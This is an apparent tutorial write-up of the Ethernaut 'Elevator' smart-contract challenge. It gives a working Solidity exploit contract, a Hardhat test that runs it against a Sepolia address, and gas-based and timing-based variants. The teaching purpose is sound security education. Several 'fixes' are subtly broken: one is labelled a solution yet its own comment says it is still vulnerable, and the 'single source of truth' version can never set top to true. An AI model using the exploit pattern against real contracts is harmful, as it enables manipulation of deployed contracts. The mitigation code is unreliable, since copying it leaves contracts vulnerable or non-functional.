Skip to content
On this page

Exploiting State-Dependent Logic: A Deep Dive into the Ethernaut "Elevator" Challenge

Introduction

Smart contract security remains one of the most critical aspects of blockchain development, with even seemingly simple contracts harboring subtle vulnerabilities. The Ethernaut "Elevator" challenge presents a classic example of how state-dependent external calls can be manipulated to bypass intended contract logic. This technical article will dissect the vulnerability, explore its implications, and demonstrate a practical exploitation technique.

Understanding the Challenge

The Elevator Contract

At first glance, the Elevator contract appears straightforward. It's designed to simulate an elevator system where users can request to go to specific floors, with a special condition to determine if they've reached the top. The contract maintains two state variables:

  • top: A boolean indicating whether the elevator has reached the top floor
  • floor: The current floor number
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

The Critical Vulnerability

The vulnerability lies in the goTo function's interaction pattern. The contract makes two separate calls to building.isLastFloor():

  1. First call: Checks if the requested floor is NOT the last floor
  2. Second call: Determines if the current floor IS the last floor

The crucial oversight is that isLastFloor() is not marked as view or pure, meaning it can modify state. This allows a malicious Building contract to return different values for the same input across multiple calls.

The Exploitation Principle

State-Dependent External Calls

In Solidity, when a contract calls an external function without specifying its mutability (using view or pure), it cannot guarantee that the function will behave consistently across multiple calls. This is particularly dangerous when the external function's return value influences critical logic decisions.

The Elevator contract assumes that isLastFloor() will return the same value for the same input, but this assumption is fundamentally flawed when dealing with untrusted contracts.

The Attack Vector

The attack exploits this inconsistency by creating a Building contract whose isLastFloor() function:

  1. Returns false on the first call (allowing the elevator to move)
  2. Returns true on the second call (setting top to true)

This manipulation allows an attacker to reach any floor while simultaneously setting the top flag to true, regardless of the actual floor number.

Building the Exploit Contract

The Hack Contract Structure

Let's examine the complete exploit contract:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Elevator {
    function goTo(uint256 _floor) external;
    function top() external view returns (bool);
}

contract Hack {
    Elevator private immutable target;
    uint private callCount;

    constructor(address _target) {
        target = Elevator(_target);
    }

    function runGoTo() external {
        target.goTo(9999999);
        require(target.top(), "Exploit failed - top not set!");
    }

    function isLastFloor(uint256) external returns (bool) {
        callCount++;
        return callCount > 1;
    }
}

Key Components Explained

  1. State Tracking: The callCount variable tracks how many times isLastFloor() has been called
  2. Differential Response: The function returns false on the first call and true on subsequent calls
  3. Immutable Target: The target Elevator contract address is stored as immutable for gas efficiency
  4. Verification: The require statement ensures the exploit was successful

Execution Flow

When runGoTo() is called:

  1. It calls target.goTo(9999999)
  2. The Elevator contract calls isLastFloor(9999999) for the first time
    • Returns false (since callCount = 1, and 1 > 1 is false)
    • Elevator proceeds to set floor = 9999999
  3. The Elevator calls isLastFloor(9999999) for the second time
    • Returns true (since callCount = 2, and 2 > 1 is true)
    • Elevator sets top = true
  4. The exploit verifies that top is now true

Testing the Exploit

Comprehensive Test Suite

The provided test suite demonstrates how to verify the exploit works correctly:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Elevator, Hack } from "../typechain-types";

describe("Elevator", function () {
  describe("Elevator testnet sepolia", function () {
    it("testnet sepolia Elevator", async function () {

      const ELEVATOR_ADDRESS = "0x6DcE47e94Fa22F8E2d8A7FDf538602B1F86aBFd2";
      const ELEVATOR_ABI = [
        "function top() external view returns (bool)",
        "function floor() external view returns (uint256)",
      ];

      const challenger = await ethers.getNamedSigner("deployer");
      const elevatorContract = new ethers.Contract(
        ELEVATOR_ADDRESS, 
        ELEVATOR_ABI, 
        challenger
      );

      // Verify initial state
      const TOP_DEFAULT = false;
      const top_before = await elevatorContract.top();
      expect(top_before).to.be.equals(TOP_DEFAULT);
      
      const FLOOR_DEFAULT = 0;
      const floor_before = await elevatorContract.floor();
      expect(floor_before).to.be.equals(FLOOR_DEFAULT);

      // Deploy exploit contract
      const HackFactory = await ethers.getContractFactory("Hack");
      const hack = (await HackFactory.deploy(ELEVATOR_ADDRESS)) as Hack;
      await hack.waitForDeployment();

      // Execute exploit
      const tx = await hack.runGoTo();
      await tx.wait();

      // Verify successful exploitation
      const TOP_UPDATED = true;
      const top_after = await elevatorContract.top();
      expect(top_after).to.be.equals(TOP_UPDATED);
      
      const FLOOR_UPDATED = 9999999;
      const floor_after = await elevatorContract.floor();
      expect(floor_after).to.be.equals(FLOOR_UPDATED);
    });
  });
});

Test Execution Details

  1. Initial State Verification: Confirms the elevator starts at floor 0 with top = false
  2. Exploit Deployment: Deploys the Hack contract with the Elevator address
  3. Exploit Execution: Calls runGoTo() which triggers the vulnerability
  4. Result Verification: Confirms that top = true and floor = 9999999

Security Analysis

Root Cause Analysis

The vulnerability stems from several interconnected issues:

  1. Untrusted External Calls: The contract accepts any address as a Building without verification
  2. State-Dependent Logic: The external function can return different values for identical inputs
  3. Missing Mutability Specifiers: The interface doesn't specify view or pure for isLastFloor()
  4. Logic Assumption: The contract assumes consistent behavior from external calls

Impact Assessment

The impact of this vulnerability includes:

  1. State Manipulation: Attackers can arbitrarily set the top flag
  2. Logic Bypass: The intended floor validation is completely circumvented
  3. Contract Integrity: The entire business logic of the contract can be manipulated

Mitigation Strategies

Solution 1: Use View Functions

The most straightforward fix is to ensure isLastFloor() cannot modify state:

solidity
interface Building {
    function isLastFloor(uint256) external view returns (bool);
}

contract ElevatorFixed {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

Solution 2: Single Call Pattern

Store the result of the first call and reuse it:

solidity
contract ElevatorFixed2 {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);
        
        bool isLast = building.isLastFloor(_floor);
        
        if (!isLast) {
            floor = _floor;
            top = building.isLastFloor(floor); // Still vulnerable!
        }
    }
}

Solution 3: Complete Trust Removal

Remove external dependency entirely:

solidity
contract ElevatorFixed3 {
    bool public top;
    uint256 public floor;
    uint256 public constant TOP_FLOOR = 100; // Define top floor internally

    function goTo(uint256 _floor) public {
        require(_floor <= TOP_FLOOR, "Floor doesn't exist");
        
        floor = _floor;
        top = (_floor == TOP_FLOOR);
    }
}

Solution 4: Whitelist Trusted Buildings

Only allow verified Building contracts:

solidity
contract ElevatorFixed4 {
    bool public top;
    uint256 public floor;
    mapping(address => bool) public allowedBuildings;
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    function allowBuilding(address building) external onlyOwner {
        allowedBuildings[building] = true;
    }

    function goTo(uint256 _floor) public {
        require(allowedBuildings[msg.sender], "Building not allowed");
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

Broader Implications

Design Pattern Vulnerabilities

The Elevator vulnerability represents a class of security issues common in smart contract design:

  1. Reentrancy Variants: While not classic reentrancy, it shares the pattern of multiple external calls with state changes between them
  2. Oracle Manipulation: Similar to price oracle attacks where multiple calls can return different values
  3. Cross-Contract State Assumptions: Assuming consistency across contract boundaries

Real-World Analogies

Similar vulnerabilities have appeared in production contracts:

  1. DeFi Price Oracles: Multiple price queries returning different values
  2. Governance Systems: Voting power calculations that can be manipulated
  3. Random Number Generators: Multiple calls to RNG services

Best Practices for Secure Contract Design

1. Follow the Checks-Effects-Interactions Pattern

Always structure functions to:

  1. Check all conditions
  2. Update internal state
  3. Make external calls

2. Specify Function Mutability

Always use view or pure when functions don't modify state:

solidity
interface SecureBuilding {
    function isLastFloor(uint256) external view returns (bool);
}

3. Validate External Contracts

Implement trust mechanisms for external interactions:

solidity
abstract contract TrustedInterface {
    function verifyContract(address _addr) internal virtual returns (bool);
    
    modifier onlyTrusted(address _addr) {
        require(verifyContract(_addr), "Untrusted contract");
        _;
    }
}

4. Use Single Source of Truth

Avoid multiple calls for the same information:

solidity
function secureGoTo(uint256 _floor) public {
    Building building = Building(msg.sender);
    bool lastFloorCheck = building.isLastFloor(_floor);
    
    // Use stored value instead of calling again
    if (!lastFloorCheck) {
        floor = _floor;
        top = lastFloorCheck; // Reuse the stored value
    }
}

Advanced Exploitation Techniques

Gas-Based Manipulation

An alternative exploit could use gas manipulation:

solidity
contract GasBasedHack {
    Elevator private target;
    uint private callNumber;
    
    function isLastFloor(uint256) external returns (bool) {
        callNumber++;
        
        // Manipulate behavior based on gas left
        if (gasleft() > 100000) {
            return false;
        } else {
            return true;
        }
    }
}

Time-Based Attacks

Exploiting block timestamps or block numbers:

solidity
contract TimeBasedHack {
    Elevator private target;
    
    function isLastFloor(uint256) external returns (bool) {
        // Return different values based on block characteristics
        if (block.timestamp % 2 == 0) {
            return false;
        } else {
            return true;
        }
    }
}

Conclusion

The Ethernaut Elevator challenge provides a valuable lesson in smart contract security. The core vulnerability—state-dependent external calls—highlights the importance of careful interface design and the dangers of making assumptions about external contract behavior.

Key takeaways:

  1. Never trust external calls to behave consistently without explicit guarantees
  2. Always specify mutability in interfaces to prevent state modification
  3. Consider alternative designs that minimize or eliminate external dependencies
  4. Implement comprehensive testing to catch logic vulnerabilities

This vulnerability, while simple in isolation, represents a fundamental security principle: in decentralized systems, trust must be explicitly managed and verified, never assumed. As smart contracts continue to evolve in complexity, understanding and mitigating these types of vulnerabilities becomes increasingly critical for secure blockchain development.

The exploit demonstrated here serves as both a warning and a learning opportunity, emphasizing that in the world of smart contracts, even the most straightforward logic can harbor hidden dangers when interacting with the unpredictable environment of the Ethereum Virtual Machine.

Built with AiAda